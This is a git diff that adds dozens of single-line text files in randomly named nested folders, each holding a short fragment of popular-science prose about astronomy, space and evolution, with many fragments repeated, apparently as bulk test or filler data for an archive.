diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_mfkiiwyiyhdhpfdcvktw.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_mfkiiwyiyhdhpfdcvktw.txt
new file mode 100644
index 0000000..3498e7f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_mfkiiwyiyhdhpfdcvktw.txt
@@ -0,0 +1 @@
+there was a supernova observed in 1572, and described by Tycho Brahe, and another, just
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_pepchvevwspijoifilpqbw.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_pepchvevwspijoifilpqbw.txt
new file mode 100644
index 0000000..3498e7f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_pepchvevwspijoifilpqbw.txt
@@ -0,0 +1 @@
+there was a supernova observed in 1572, and described by Tycho Brahe, and another, just
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_pqijbanaivagdr.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_pqijbanaivagdr.txt
new file mode 100644
index 0000000..3498e7f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_pqijbanaivagdr.txt
@@ -0,0 +1 @@
+there was a supernova observed in 1572, and described by Tycho Brahe, and another, just
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_qsnroylguaoeikmvn.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_qsnroylguaoeikmvn.txt
new file mode 100644
index 0000000..3498e7f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_qsnroylguaoeikmvn.txt
@@ -0,0 +1 @@
+there was a supernova observed in 1572, and described by Tycho Brahe, and another, just
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_rybvphbm.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_rybvphbm.txt
new file mode 100644
index 0000000..3498e7f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_rybvphbm.txt
@@ -0,0 +1 @@
+there was a supernova observed in 1572, and described by Tycho Brahe, and another, just
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_tfobdudrbecezqxhagutknau.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_tfobdudrbecezqxhagutknau.txt
new file mode 100644
index 0000000..3498e7f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_tfobdudrbecezqxhagutknau.txt
@@ -0,0 +1 @@
+there was a supernova observed in 1572, and described by Tycho Brahe, and another, just
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_tqbsgpvncqcytegpxmtemihe.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_tqbsgpvncqcytegpxmtemihe.txt
new file mode 100644
index 0000000..3498e7f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_tqbsgpvncqcytegpxmtemihe.txt
@@ -0,0 +1 @@
+there was a supernova observed in 1572, and described by Tycho Brahe, and another, just
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_wlbveroobdgou.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_wlbveroobdgou.txt
new file mode 100644
index 0000000..3498e7f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/file_wlbveroobdgou.txt
@@ -0,0 +1 @@
+there was a supernova observed in 1572, and described by Tycho Brahe, and another, just
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/aezhnaogpvkgcevmqzzevo.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/aezhnaogpvkgcevmqzzevo.txt
new file mode 100644
index 0000000..fa1f19c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/aezhnaogpvkgcevmqzzevo.txt
@@ -0,0 +1 @@
+tends to be very adaptable and tenacious. There must be many different environments
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/akobcqfu.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/akobcqfu.txt
new file mode 100644
index 0000000..9bee174
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/akobcqfu.txt
@@ -0,0 +1 @@
+smaller. Rotating once every ten hours, it exhibits colorful equatorial banding, which is,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/dfepkzfwvqtnuvbvrbyjsfkn.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/dfepkzfwvqtnuvbvrbyjsfkn.txt
new file mode 100644
index 0000000..93f5f7f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/dfepkzfwvqtnuvbvrbyjsfkn.txt
@@ -0,0 +1 @@
+told in The Tale of the Heike:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/dgylxkbjwqouzgbg.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/dgylxkbjwqouzgbg.txt
new file mode 100644
index 0000000..62eeb71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/dgylxkbjwqouzgbg.txt
@@ -0,0 +1 @@
+by a dozen or more satellites.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_amlenezdmvevvcezgx.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_amlenezdmvevvcezgx.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_amlenezdmvevvcezgx.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_cucvyafcilux.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_cucvyafcilux.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_cucvyafcilux.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_dgonqspmsbbjmmd.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_dgonqspmsbbjmmd.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_dgonqspmsbbjmmd.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_dgsgzwhpncpvjltyiqywvhub.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_dgsgzwhpncpvjltyiqywvhub.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_dgsgzwhpncpvjltyiqywvhub.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_ejqqmwekxhngueyzqac.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_ejqqmwekxhngueyzqac.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_ejqqmwekxhngueyzqac.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_emxiowtepeznjsggkcu.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_emxiowtepeznjsggkcu.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_emxiowtepeznjsggkcu.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_euwnpqaglacj.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_euwnpqaglacj.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_euwnpqaglacj.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_fjyvrfjdrppcphrkyuxupwa.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_fjyvrfjdrppcphrkyuxupwa.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_fjyvrfjdrppcphrkyuxupwa.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_ggrmdygfoyy.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_ggrmdygfoyy.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_ggrmdygfoyy.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_gptjqnwfgqel.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_gptjqnwfgqel.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_gptjqnwfgqel.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_hhtqomybkqeyewdeaxsvh.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_hhtqomybkqeyewdeaxsvh.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_hhtqomybkqeyewdeaxsvh.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_ibwomvuxcfa.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_ibwomvuxcfa.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_ibwomvuxcfa.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_ilmxbrsibqqkqwikqhg.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_ilmxbrsibqqkqwikqhg.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_ilmxbrsibqqkqwikqhg.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_kxlgbyxdlntjsycchgld.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_kxlgbyxdlntjsycchgld.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_kxlgbyxdlntjsycchgld.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_kxrcbuqtdfwrcmaz.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_kxrcbuqtdfwrcmaz.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_kxrcbuqtdfwrcmaz.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_kynxozxib.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_kynxozxib.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_kynxozxib.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_lqjgdkunshey.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_lqjgdkunshey.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_lqjgdkunshey.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_obzkntfyixvqgtccubkbjrd.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_obzkntfyixvqgtccubkbjrd.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_obzkntfyixvqgtccubkbjrd.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_revcqibvjuyq.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_revcqibvjuyq.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_revcqibvjuyq.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_rorrvybtzrxyykcph.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_rorrvybtzrxyykcph.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_rorrvybtzrxyykcph.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_ugpwfjhsyqxmuoq.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_ugpwfjhsyqxmuoq.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_ugpwfjhsyqxmuoq.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_ugzqnfntutodnvlbez.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_ugzqnfntutodnvlbez.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_ugzqnfntutodnvlbez.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_vwiqoycwlmxcnaens.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_vwiqoycwlmxcnaens.txt
new file mode 100644
index 0000000..f11ebb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/file_vwiqoycwlmxcnaens.txt
@@ -0,0 +1 @@
+They came to a round hole in the sky . . . glowing like fire. This, the Raven said,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/gtrkepxh.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/gtrkepxh.txt
new file mode 100644
index 0000000..f3e44f9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/gtrkepxh.txt
@@ -0,0 +1 @@
+a fate reserved for planets near stars more massive than the Sun. Since such stars with
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/jwtaryqep.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/jwtaryqep.txt
new file mode 100644
index 0000000..51d5453
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/jwtaryqep.txt
@@ -0,0 +1 @@
+of information in such songs, is some 10 6 bits, about the same as the information content of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/mbcqmreogtdoqkmi.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/mbcqmreogtdoqkmi.txt
new file mode 100644
index 0000000..80d4acd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/mbcqmreogtdoqkmi.txt
@@ -0,0 +1 @@
+and relays is a thin piece of glossy paper, in this case showing the wonders of Europa,recorded, processed and examined for the first time in human history on July 9, 1979.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/phnppyzzpjnkrjnlobthy.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/phnppyzzpjnkrjnlobthy.txt
new file mode 100644
index 0000000..5fea428
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/phnppyzzpjnkrjnlobthy.txt
@@ -0,0 +1 @@
+be as great as the distances between the worlds. When within sight of the Earth on each of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/rjhvvqowamu.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/rjhvvqowamu.txt
new file mode 100644
index 0000000..2e13872
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/rjhvvqowamu.txt
@@ -0,0 +1 @@
+Light was a motif of the age: the symbolic enlightenment of freedom of thought and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/scrjabwaauzunvbezvc.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/scrjabwaauzunvbezvc.txt
new file mode 100644
index 0000000..576053d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/scrjabwaauzunvbezvc.txt
@@ -0,0 +1 @@
+abundance is so small that germicidal ultraviolet radiation from the Sun strikes the Martian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/sdousweusvmtvzmcllo.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/sdousweusvmtvzmcllo.txt
new file mode 100644
index 0000000..1c21a91
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/sdousweusvmtvzmcllo.txt
@@ -0,0 +1 @@
+It stands alone and does not change,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/srbxtivi.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/srbxtivi.txt
new file mode 100644
index 0000000..2897a69
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/srbxtivi.txt
@@ -0,0 +1 @@
+It is not from space that I must seek my dignity, but from the government of my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/tseqkbsfqgynskcui.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/tseqkbsfqgynskcui.txt
new file mode 100644
index 0000000..159beac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/tseqkbsfqgynskcui.txt
@@ -0,0 +1 @@
+time. With such an enormous extinction rate, the organisms of today can have evolved from only a small and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/unedyksrvrnyfo.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/unedyksrvrnyfo.txt
new file mode 100644
index 0000000..4720e00
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/unedyksrvrnyfo.txt
@@ -0,0 +1 @@
+intricate, evanescent patterns. One might be the spark of a memory of the smell of lilacs on
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/uqaelrdgwkfkmlcu.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/uqaelrdgwkfkmlcu.txt
new file mode 100644
index 0000000..5ffe7fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/uqaelrdgwkfkmlcu.txt
@@ -0,0 +1 @@
+neutron star. But a more massive star, left, after its supernova phase, with, say, five times
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/uyrzadwtwsjomeusrhrsdfy.txt b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/uyrzadwtwsjomeusrhrsdfy.txt
new file mode 100644
index 0000000..5c3804e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_bkowexixjw/folder_dnbwezlzmi/folder_gouciepxrv/folder_intglecdve/uyrzadwtwsjomeusrhrsdfy.txt
@@ -0,0 +1 @@
+best that four billion years of evolution could produce, containing the full complement of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_blruwfommb/file_agohfuuuftubmnpmagjsdv.txt b/big_zip/big-zip-files/folder_blruwfommb/file_agohfuuuftubmnpmagjsdv.txt
new file mode 100644
index 0000000..02fdde2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_blruwfommb/file_agohfuuuftubmnpmagjsdv.txt
@@ -0,0 +1 @@
+voyage is connected in the most straight-forward way with the calculations of Eratosthenes.
\ No newline at end of file
